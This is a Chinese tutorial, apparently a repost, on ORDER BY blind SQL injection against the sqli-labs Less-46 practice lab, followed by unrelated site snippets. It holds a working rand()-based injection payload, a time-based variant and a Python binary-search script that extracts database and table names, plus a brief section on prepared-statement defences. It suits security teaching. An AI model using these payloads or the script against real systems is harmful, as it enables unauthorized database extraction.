SQL注入之order by脚本盲注

一、环境

还是用上次搭建的sql-labs靶机环境

搭建sql注入环境

二、什么是order by盲注

在有的时候我们进行sql注入时,源码的查询语句后面为order by;
众所周知,order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同;
我们恰恰就可以利用这点来进行注入,
对查询的数据的每个字符的ascii码进行比较判断(其判断返回值只会为True(真)和False(假)),
将其返回值的放入rand()函数中  对数据表进行排序,
当显示出现变化时则可以判断出我们所要数据的字符,在对其进行拼接即可,
对此盲注方法我们采用脚本来快速实现

三、实现

环境为sql-labs靶机的第46关

查看源码得知要让我们选择字段进行排序

以1(id)、2(username)、3(password)字段为例,查看效果

可以看到不同字段的顺序是不同的,根据这个原理,我们可以通过上面我说的用rand()实现一个盲注,效果如下

?sort=rand(ascii(substr((select database()),1,1))>114)

显然,转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb,那么根据此现象,我们就可以对其写一个脚本,帮助我们快速实现注入

我们通过第一个用户字段进行爬取判断,为真时是admin3
编写一份爆库名和表名的注入脚本(注释在里面)

import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""def inject_database(url):"""使用二分法查询  aaaaaaaaaaaaaaaaaaaa"""name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:# 爆库名payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)# 爆表名# payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)# 将payload作为参数传递给请求params = {"sort": payload}# start_time = time.time()# 发送一个GET请求到指定的URL,带上构造好的参数r = requests.get(url, params=params)# 获取请求得到的HTML响应内容html = r.text# 使用BeautifulSoup解析HTML内容soup = BeautifulSoup(html, 'html.parser')# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名getusername = soup.find_all('td')[1].text# end_time = time.time()# 检查获取的用户名是否为'admin3',如果是,则更新low的值if getusername == 'admin3':low = mid + 1# 如果获取的用户名不是'admin3',则更新high的值else:high = mid# 更新中间值,继续二分查找mid = (low + high) // 2if mid == 32:break# 将找到的字符添加到name中name += chr(mid)# 打印出当前已经找到的数据库名称print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/'inject_database(url)

先爆库名:security

再爆表名:emails,referers,uagents,users

我们爆出了4张表,很明显users表是很重要的一张,后续想要什么数据即可根据需求修改脚本中的payload即可

四、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/493654.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis八股

文章目录 数据类型字符串实现使用场景 List 列表实现使用场景 Hash 哈希实现使用场景 Set 集合实现使用场景 ZSet 有序集合实现使用场景 BitMap实现使用场景 Stream使用场景pubsub为什么不能作为消息队列 数据结构机制SDS 简单动态字符串压缩列表哈希表整数集合跳表quicklistli…

jaka+realsense+aruco+手眼标定(python)

第二次重建了项目的手眼标定部分……有很多第一次记录遗漏的地方&#xff0c;在此补充。 一、JAKA机械臂末端位姿发布 此次我是自己写的节点发布&#xff0c;建议一开始新建工作空间的时候就引入roscpp,rospy,std_msgs。 $ catkin_create_pkg package_name depend1 depend2 de…

Python从入门到精通指南【第101篇—入门到精通】【文末送书-24】

文章目录 Python从入门到精通指南第一步&#xff1a;入门基础1.1 安装Python1.2 Hello World1.3 变量和数据类型1.4 控制流程 第二步&#xff1a;深入学习2.1 函数和模块2.2 列表、元组和字典2.3 文件操作 第三步&#xff1a;高级主题3.1 面向对象编程3.2 异常处理3.3 正则表达…

Laravel03 路由到控制器与连接数据库

Laravel03 路由到控制器与连接数据库 1. 路由到控制器2. 连接数据库 1. 路由到控制器 如下图一些简单的逻辑处理可以放在web.php中&#xff0c;也就是路由的闭包函数里面。但是大的项目&#xff0c;我们肯定不能这么写。 为什么保证业务清晰好管理&#xff0c;都应该吧业务逻辑…

如何申请阿里云服务器ECS

首先打开官网云服务器ECS_云主机_服务器托管_计算-阿里云&#xff0c;点击试用 创建使用完成以后&#xff0c;到控制台&#xff0c;会有一个默认的实例 点击实例 修改密码 修改完密码以后 点击远程连接 下载客户端工具 配置账号信息 简历SSH连接 输入密码 连接客户端成功…

李一舟事件新进展:或面临三种处罚,周鸿祎:不该收费;OpenAI神秘项目浮出水面;马斯克推出Xmail硬刚谷歌;百度架构调整

1.李一舟事件新进展&#xff1a;或面临三种处罚&#xff0c;周鸿祎&#xff1a;不该收费&#xff01; 近日&#xff0c;拥有百万级粉丝量的互联网博主“李一舟”推出的AI课程被下架事引继续发酵。 央视财经频道报道&#xff0c;有不少学员反馈课程与宣传的不一样&#xff0c;…

【前端素材】推荐优质后台管理系统Be admin平台模板(附源码)

一、需求分析 后台管理系统&#xff08;或称作管理后台、管理系统、后台管理平台&#xff09;是一种专门用于管理网站、应用程序或系统后台运营的软件系统。它通常由一系列功能模块组成&#xff0c;为管理员提供了管理、监控和控制网站或应用程序的各个方面的工具和界面。以下…

通天星CMSV6 车载视频监控平台信息泄露漏洞

免责声明&#xff1a;文章来源互联网收集整理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;所产生的一切不良后果与文章作者无关。该…

今天面了个字节拿 38K 出来的测试,让我见识到了基础的天花板

最近内卷严重&#xff0c;各种跳槽裁员&#xff0c;相信很多小伙伴也在准备金九银十的面试计划。 作为一个入职5年的老人家&#xff0c;目前工资比较乐观&#xff0c;但是我还是会选择跳槽&#xff0c;因为感觉在一个舒适圈待久了&#xff0c;人过得太过安逸&#xff0c;晋升涨…

pycharm没有setuptools包、wheel包的解决措施(pycharm添加包的两种方式)

方法一&#xff1a; 右下角 方法二&#xff1a; 命令 Windows: 在pycharm本地终端输入&#xff1a; pip install setuptools运行如以下界面显示即可 Linux&#xff1a; sudo apt install python3-pip (一定要有sudo )检查已安装&#xff1a; 同理安装其他包如&#xff1a…

dmrman备份还原

脱机还原工具-dmrman 前言 根据达梦官网文档整理 一、概述 DMRMAN 命令行设置参数执行又可分为命令行指定脚本、命令行指定语句两种执行方式。 指定语句 $ DMRMAN RMAN>BACKUP DATABASE/dmdata/data/DAMENG/dm.ini;指定脚本 创建一个名为 cmd_file.txt 的文件&#x…

【前端素材】推荐优质后台管理系统Qovex平台模板(附源码)

一、需求分析 1、定义 后台管理系统是一种用于管理和监控网站、应用程序或系统的在线工具。它通常是通过网页界面进行访问和操作&#xff0c;用于管理网站内容、用户权限、数据分析等。后台管理系统是网站或应用程序的控制中心&#xff0c;管理员可以通过后台系统进行各种管理…